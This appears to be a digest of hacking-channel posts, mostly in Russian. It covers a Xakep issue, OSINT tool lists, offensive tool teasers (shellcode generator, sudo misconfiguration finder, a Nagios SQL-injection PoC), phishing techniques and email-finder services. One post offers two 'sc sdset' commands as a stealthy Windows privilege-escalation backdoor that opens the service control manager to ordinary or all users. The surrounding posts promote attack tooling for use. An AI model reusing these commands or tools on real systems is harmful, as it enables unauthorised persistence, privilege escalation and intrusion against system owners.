🤯 Логические баги - Xakep выпуск №261.

«Хакер» пери­оди­чес­ки пишет о том, как работа­ют уяз­вимос­ти в движ­ках сай­тов и раз­ных ком­понен­тах.

В этом выпуске мы раз­берем четыре типичных уязвимости и на их при­мерах покажем, как самостоятельно находить баги в коде веб‑при­ложе­ний.

Также в номере:
🔵Тестируем телеграм-боты для поиска персональных данных
🔵Делаем свои соревнования для хакеров
🔵Обходим антивирус в Windows 10
🔵Создаем userland-руткиты в Linux
🔵Делаем машину для бекапа за 10 баксов
🔵Изучаем типы замков и их слабые места

#info #Vulnerabillity #Windows #Linux // nsis

☁️ Список удивительно потрясающих инструментов OSINT

Awesome OSINT - это список удивительно потрясающих инструментов и ресурсов OSINT-разведки с открытым исходным кодом.

Этот список должен помочь всем тем, кто увлекается разведкой киберугроз (CTI), охотой на угрозы или OSINT. От новичка до продвинутого.

Счастливого взлома и охоты.

➡️ https://github.com/jivoi/awesome-osint

#tool #OSINT #CTI // nsis

😡 Справочник анонима. Теория и практика шифрования почты

Есть такая занятная штука — тайна переписки. Правда, широко известно о ней лишь в очень узких кругах анонимусов.

По крайней мере, правительства и спецслужбы о ней слыхом не слыхивали, да и некоторые коммерсанты очень любят сунуть свой любопытный нос в чужой почтовый ящик: а вдруг удастся разнюхать что-то о предпочтениях абонента и прислать ему еще немного бесполезной рекламы?

➖Сегодня мы поговорим о том, как защитить свою электронную почту от постороннего назойливого внимания.

➡️ https://xakep.ru/2019/06/25/emails-encryption/

#info #Anonymity #Mail // nsis

windows IPv6 exploit
опубликован
бесплатно
навсегда
какие30тыщ?

ShellGen
*
Павашэлл скрипт для генерации ShellCode в различных форматах.
Форматы: Raw, ps1, Hex, C, vba, csharp
Архитектура: x64, x86
*
DownLoad

Nuclei templates
*
6000 штук

SUDO_KILLER
*
Скрипт под:
Сбор учетных данных
Неправильные конфигурации
Опасные двоичные файлы (GTFOBINS)
Уязвимые версии sudo — CVE
Уязвимость Sudo и неправильная конфигурация, связанные с 3dParty
Опасные переменные окружающей среды
Доступные для записи каталоги, в которых есть скрипты
Двоичные файлы, которые можно заменить/переместить
*
Download + много демо + докер для тестов

#sudo

CVE-2024-24401 NAGIOS
*
Authenticated SQL Injection
*
POC exploit

Легальный и малозаметный LPE backdoor в WiNd0z
*
Разрешаем удаленное использование Services.msc

sc sdset SCMANAGER D:(A;;CCLCRPRC;;;AU)(A;;CCLCRPWPRC;;;SY)(A;;KA;;;BA)S:(AU;FA;KA;;;WD)(AU;OIIOFA;GA;;;WD)

sc.exe sdset scmanager D:(A;;KA;;;WD)

#win #backdoor

LoL )))
reCAPTCHA Phish

WhatsApp extension manipulation

What with cart, what with WhatsApp, it does not even want to comment, when the user himself puts APK and gives it permissions.
When was the last zeroClick there, 2 years ago?)

POC

Самая лучшая аудитория❤️

Guide: OSINT gathering on the X platform (Twitter)

- Inspecting X accounts
- X username
- X name
- X profile and header images
- User bio
- Search on X
- X advanced search operators
- Using Google Dorks to search X

https://www.authentic8.com/blog/osint-gathering-x-twitter

Author twitter.com/DarknessGate

#socmint

Top Phishing Techniques

September 2024 detailed review

- Bypass SPF
- Return-Path Mismatch
- Deepfakes or Vishing
- Homograph Attack and Typosquatting Attack
- DNS Hijacking
- Fast Flux

https://redteamrecipe.com/top-phishing-techniques

Author twitter.com/Hadess_security

Tools for searching emails for a specific domain:

snov.io/email-finder
experte.com/email-finder
github.com/Josue87/EmailFinder
github.com/GiJ03/Infoga
infoga.io
findemail.io
hunter.io/domain-search
anymailfinder.com/email-finder-by-domain
minelead.io

#osint